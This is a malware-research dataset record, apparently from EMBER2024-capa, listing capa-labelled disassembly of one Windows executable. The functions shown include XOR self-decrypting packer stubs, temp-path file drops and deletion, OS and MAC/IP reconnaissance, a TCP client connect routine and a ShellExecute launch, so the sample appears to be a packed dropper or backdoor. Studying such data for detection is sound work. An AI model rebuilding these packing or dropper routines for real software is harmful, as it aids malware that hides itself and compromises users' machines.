joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x5dca248a
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
mov eax, section..text_1
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x67e5070f
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
mov ebx, 0x40c7d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0xdef1bf6
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x46b65b29
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x414], eax
push ebx
push esi
push edi
mov ecx, 0x414c38
call fcn.004039ca
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x401122
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00408000
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00408000
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x419e70
jmp 0x401080
cmp word [esi], 0
je 0x4010b6
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.004044ed
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.0040455c
add esp, 0xc
add esi, 0x118
cmp esi, 0x41a3e8
jl 0x401080
mov esi, 0x419e70
lea esp, [esp]
cmp word [esi], 0
je 0x4010e6
push edi
push 0x414c38
mov ecx, esi
call fcn.004041ac
add esp, 8
add esi, 0x118
cmp esi, 0x41a3e8
jl 0x4010d0
push 0x41ac40
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040455c
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401120
mov ebx, 2
mov eax, ebx
mov ecx, dword [esp + 0x41c]
pop esi
pop ebx
xor ecx, esp
call fcn.004044de
add esp, 0x41c
ret
Function at 0x4013f0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x419da0
push 0x67
push esi
call edi
push 0x64
push 0x419cd8
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004015a0
push 0
push esi
push 0
push 0
push 0
push closesocket
push 0
push closesocket
push 0xcf0000
push 0x419da0
push 0x419cd8
push 0
mov dword [0x419e68], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401482
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.004044de
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
call fcn.00402973
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00401f80
test eax, eax
je 0x4014b3
call fcn.00403074
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401a40
test eax, eax
je 0x40146a
test byte [0x41a3ec], 7
je 0x4014ca
call fcn.00401140
mov ecx, dword [0x41a6c8]
test ecx, ecx
jbe 0x4014f4
cmp word [0x41a6cc], 0
jbe 0x4014f4
mov esi, 0x41907c
call fcn.0040379c
mov ax, word [0x41a6cc]
mov word [0x41908c], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x414ce4
mov edx, 0x41ac40
call fcn.00401c20
call fcn.00403800
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x1a]
push eax
mov word [esp + 0x1c], dx
call fcn.00408000
add esp, 0x14
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41ac40
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040455c
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401596
push 0x1f4
call edi
push 1
push 0
push 0x414ce0
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4016f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.00408000
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.00408000
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push 0x414d00
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x414d44
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401796
mov ebx, 1
push 0x414d50
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017c1
or ebx, 2
push 0x414d98
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017ec
or ebx, 4
push 0x414de8
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40181a
or ebx, 0x100
push 0x414e40
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401848
or ebx, 0x200
push 0x414e98
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401876
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.004044de
add esp, 0x414
ret
Function at 0x401a40
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3a4
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x39c], eax
push ebx
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.00408000
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x41a840
call fcn.00401c40
test eax, eax
jne 0x401b59
jmp 0x401aa0
movzx ecx, word [eax + 0x414ef8]
mov word [eax + 0x41a9e8], cx
add eax, 2
test cx, cx
jne 0x401aa0
push 0x414f04
push 0x40
push 0x41a844
call fcn.004044ed
add esp, 0xc
push 0x414f20
push 0x10
push 0x41a8c6
call fcn.004044ed
add esp, 0xc
push 0x414f2c
push 0x40
push 0x41a8e6
call fcn.004044ed
mov eax, 0x51
mov ecx, 0x2b70
add esp, 0xc
mov word [0x41a8c4], ax
mov word [0x41a966], cx
xor eax, eax
jmp 0x401b10
movzx ecx, word [eax + 0x414f48]
mov word [eax + 0x41a9c8], cx
add eax, 2
test cx, cx
jne 0x401b10
mov eax, 0x41a9c8
add eax, 0xfffffffe
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401b30
mov edx, dword [0x414f58]
mov cx, word [0x414f5c]
mov dword [eax], edx
mov word [eax + 4], cx
mov dword [0x41aa08], 5
call fcn.0040334c
lea edi, [esp + 0x198]
call fcn.004032be
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x41a800], cx
add eax, 2
test cx, cx
jne 0x401b70
push 0x41a800
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401bbd
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [esp + 0x39c]
xor ecx, esp
call fcn.004044de
add esp, 0x3a4
ret
push 0x41a800
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401ba4
push 0x414f2c
call fcn.004033d5
add esp, 4
mov dword [0x41a6c8], eax
call fcn.004018a0
push 0
push 0
push 0
push 0x403701
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3a4]
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.004044de
add esp, 0x3a4
ret
Function at 0x401ce0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401df3
cmp esi, ebx
je 0x401df3
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401d10
sub eax, edx
sar eax, 1
je 0x401df3
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.00408000
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401d7a
cmp dword [0x419070], 3
jne 0x401d7a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414f7c
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040455c
add esp, 0xc
jmp 0x401d8a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040455c
push 0x414f80
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.0040483f
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401df3
push eax
push 1
push 0x200
push edi
call fcn.00404b32
mov eax, dword [esp + 0x14]
push eax
call fcn.00404bc6
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.004044de
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004044de
add esp, 0x210
ret

Function at 0x401eb0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.00408000
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x401f62
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x414f60
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040455c
push 0x414fa0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.0040483f
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x401f47
push eax
push 1
push 0x200
push esi
call fcn.00404da4
mov eax, dword [esp + 0x14]
push eax
call fcn.00404bc6
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.004044de
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.004044de
add esp, 0x210
ret
Function at 0x4027f0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.00408000
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.00408000
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401e10
test eax, eax
je 0x40295a
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x414f2c]
mov word [eax + 0x41a4f8], cx
add eax, 2
test cx, cx
jne 0x402850
xor eax, eax
jmp 0x402870
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x41a3f0], cx
add eax, 2
test cx, cx
jne 0x402870
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x41a470], cx
add eax, 2
test cx, cx
jne 0x402890
cmp dword [0x419070], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x41a4f0], ax
mov word [0x41a578], cx
mov dword [0x41a57c], 5
je 0x4028e9
lea edx, [esp + 0x208]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402916
push 0x104
lea eax, [esp + 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414f7c
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.0040455c
add esp, 0xc
push 0x414f88
lea edx, [esp + 0x20c]
push 0x104
push edx
call fcn.0040455c
add esp, 0xc
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.004044de
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.004044de
add esp, 0x414
ret

Function at 0x402973
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
and dword [0x419070], 0
push 0x11c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00408000
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4029fd
mov eax, dword [ebp - 0x78]
push 5
pop ecx
cmp dword [ebp - 0x7c], ecx
jne 0x4029dc
cmp eax, 2
jae 0x4029d2
cmp eax, 1
jne 0x4029fd
mov dword [0x419070], 3
cmp dword [ebp - 0x7c], 6
jne 0x4029fd
test eax, eax
jne 0x4029f2
mov dword [0x419070], 4
jmp 0x4029fd
cmp eax, 1
jne 0x4029fd
mov dword [0x419070], ecx
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.004044de
add ebp, 0xa0
leave
ret
Function at 0x402a12
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00408000
add esp, 0xc
cmp dword [0x419070], 3
lea eax, [ebp - 0x20c]
jne 0x402a78
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414f7c
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040455c
add esp, 0xc
pop esi
jmp 0x402a84
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x414ffc
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.004044de
leave
ret

Function at 0x402c0a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x214], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408000
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00402d92
push dword [ebp - 0x214]
call fcn.00402e7f
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402c82
xor eax, eax
jmp 0x402c89
push esi
call fcn.00402b42
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044de
leave
ret

Function at 0x402d45
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edx, edx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], edx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], edx
je 0x402d8d
mov eax, dword [ebp + 0xc]
mov edx, 0x200
mul edx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl ecx, 9
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, eax
mov eax, edx
pop edi
leave
ret
Function at 0x402f76
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x414f80
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.0040483f
add esp, 0xc
test eax, eax
je 0x402fa3
xor eax, eax
jmp 0x40302e
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.004053c2
push dword [ebp - 4]
call fcn.004055e4
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.004053c2
lea eax, [esi + ebx]
push eax
mov dword [ebp - 8], eax
call fcn.004051ac
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00404b32
push dword [ebp - 4]
call fcn.00404bc6
push ebx
lea ebx, [edi + esi]
call fcn.00403032
push 0x414fa0
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.0040483f
add esp, 0x44
pop esi
test eax, eax
jne 0x402f9c
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00404da4
push dword [ebp - 4]
call fcn.00404bc6
add esp, 0x14
test edi, edi
je 0x40302b
push edi
call fcn.00405276
pop ecx
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x403533
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 0x3a98
push dword [ebp - 0xc]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4035b2
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403588
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], esi
inc dword [ebp - 8]
cmp edi, 0x6f
jne 0x4035b7
cmp dword [ebp - 8], 3
jb 0x40354e
push 0xfffffffffffffffd
pop edi
cmp dword [ebp - 4], esi
je 0x4035ab
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
or edi, 0xffffffff
jmp 0x4035ab
cmp edi, esi
jne 0x403596
mov eax, dword [ebp - 4]
jmp 0x4035ce
cmp dword [eax + 0x34], 6
jne 0x4035cb
cmp dword [eax + 0x1c], esi
jne 0x4035d4
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x4035c0
jmp 0x403611
mov edi, dword [ebp + 8]
lea esi, [eax + 0x2c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 4]
mov esi, dword [ebp + 0xc]
mov byte [esi + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 5]
mov byte [esi + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 6]
mov byte [esi + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [esi], al
xor esi, esi
xor edi, edi
jmp 0x403599
Function at 0x40389e
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x424], ecx
call fcn.004039ca
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x4039bb
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00408000
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00408000
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x419e70
mov ebx, edi
cmp word [ebx], 0
je 0x403950
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.004044ed
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040455c
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x41a3e8
jl 0x403922
cmp word [edi], 0
je 0x403976
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x424]
call fcn.004041ac
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x41a3e8
jl 0x40395e
push 0x41ac40
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.0040455c
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4039b5
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044de
leave
ret

Function at 0x403bff
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x80c]
cmp ecx, ebx
je 0x403c21
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9ac]
push eax
push 0x101
mov dword [ebp - 0x9b0], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403c49
xor eax, eax
jmp 0x403cdb
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403c42
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403c89
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b0], eax
push 4
lea eax, [ebp - 0x9b0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403cca
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x818], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403cca
xor ebx, ebx
inc ebx
jmp 0x403cd9
mov eax, dword [esi]
test eax, eax
je 0x403cd9
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.004044de
leave
ret